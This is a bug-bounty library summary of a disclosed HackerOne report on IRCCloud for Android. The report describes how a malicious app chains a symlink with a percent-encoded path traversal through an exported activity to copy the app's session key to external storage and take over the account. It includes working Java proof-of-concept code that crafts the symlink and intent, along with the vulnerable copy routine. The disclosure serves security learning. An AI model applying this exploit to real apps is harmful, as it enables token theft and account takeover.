# [IRCCloud Android] Theft of arbitrary files leading to token leakage

Exported ShareChooserActivity copies attacker-supplied file URIs using decoded last path segment, letting a malicious app symlink and exfiltrate IRCCloud's session_key prefs to SD card.

- Payout: hidden
- Severity: high
- Program: IRCCloud
- Found by: bagipro
- Disclosed: 2017-11-15
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/288955
- Library page: https://bugbountylibrary.com/r/h1%3A288955
- Tags: area:mobile domain:mobile impact:ato impact:data-leak kind:bounty platform:hackerone sev:high tech:android technique:chained vuln:access-control vuln:info-disclosure vuln:path-traversal

**Target:** Android exported activity com.irccloud.android.activity.ShareChooserActivity
**Root cause:** makeTempCopy uses the attacker-controlled, URI-decoded last path segment as the output filename, so `../` sequences escape the cache dir; openInputStream also decodes the URI, resolving an attacker symlink to a protected file.
**Steps:**
1. Create deep dir `/data/data/com.attacker/x/x/x/x/` and symlink `..%2F..%2F..%2F..%2Fsdcard%2Fprefs.xml` (decoded) to `/data/data/com.irccloud.android/shared_prefs/prefs.xml`
2. Grant 777 to attacker app dir so IRCCloud can traverse it
3. Send intent to `com.irccloud.android.activity.ShareChooserActivity` with extra `android.intent.extra.STREAM` = `file:///data/data/com.attacker/x/x/x/x/..%2F..%2F..%2F..%2Fsdcard%2Fprefs.xml`
4. IRCCloud decodes URI, opens symlink target, and writes it to cache dir with filename `../../../../sdcard/prefs.xml`, landing on SD card
5. Read copied prefs.xml to obtain session_key and take over account
**How found:** Noticed the exported ShareChooserActivity and that makeTempCopy derives the output filename from the URI's last path segment, then realized Uri.getLastPathSegment decodes percent-encoding while openInputStream also decodes, enabling a symlink-plus-traversal trick.
**Exploitation:** Malicious app crafts a symlink chain inside its own world-readable directory and passes a percent-encoded traversal URI to the exported activity; IRCCloud copies the protected prefs.xml to external storage where the attacker reads the session_key. Also enables arbitrary file overwrite.
**Escalation:** Leaked session_key yields full account takeover; arbitrary overwrite can tamper with app history/protected files.
**Insight:** When an exported component derives a filesystem path from a URI, check whether getLastPathSegment decodes `%2F`; combine with a symlink in your own traversable dir so the decoded input path resolves to a victim file while the decoded output path escapes the cache dir.

## Proof of concept (copied exactly from the original report)

**Attacker activity crafting malicious file:// URI with symlink**

```
String zhk = "..%2F..%2F..%2F..%2Fsdcard%2Fprefs.xml";
        // absolute path to a file, pointing to sumlink
        String appDir = "/data/data/" + getPackageName();
        String deepPath = appDir + "/x/x/x/x/";

        new File(deepPath).mkdirs();

        String sumlink = deepPath + zhk;
        try {
            File sumlinkFile = new File(Uri.decode(sumlink)).getCanonicalFile();
            sumlinkFile.getParentFile().mkdirs();

            Runtime.getRuntime().exec("ln -s /data/data/com.irccloud.android/shared_prefs/prefs.xml "
                    + sumlinkFile.getAbsolutePath()).waitFor();
        }
        catch(Exception e) {
            // should be never thrown
            throw new RuntimeException(e);
        }
        grant777PermissionToEverything(new File(appDir));

        Uri uri = Uri.parse("file://" + sumlink); // file:///data/data/com.attacker/x/x/x/x/..%2F..%2F..%2F..%2Fsdcard%2Fprefs.xml

        Intent intent = new Intent();
        intent.setClassName("com.irccloud.android", "com.irccloud.android.activity.ShareChooserActivity");
        intent.putExtra("android.intent.extra.STREAM", uri);
        startActivity(intent);
```

**Vulnerable makeTempCopy using attacker-controlled filename**

```
public static Uri makeTempCopy(Uri fileUri, Context context, String original_filename) { // original_filename = mUri.getLastPathSegment()
        //...
        try {
            Uri out = Uri.fromFile(new File(context.getCacheDir(), original_filename));
            Log.d("IRCCloud", "Copying file to " + out);
            InputStream is = IRCCloudApplication.getInstance().getApplicationContext().getContentResolver().openInputStream(fileUri);
            OutputStream os = IRCCloudApplication.getInstance().getApplicationContext().getContentResolver().openOutputStream(out);
```

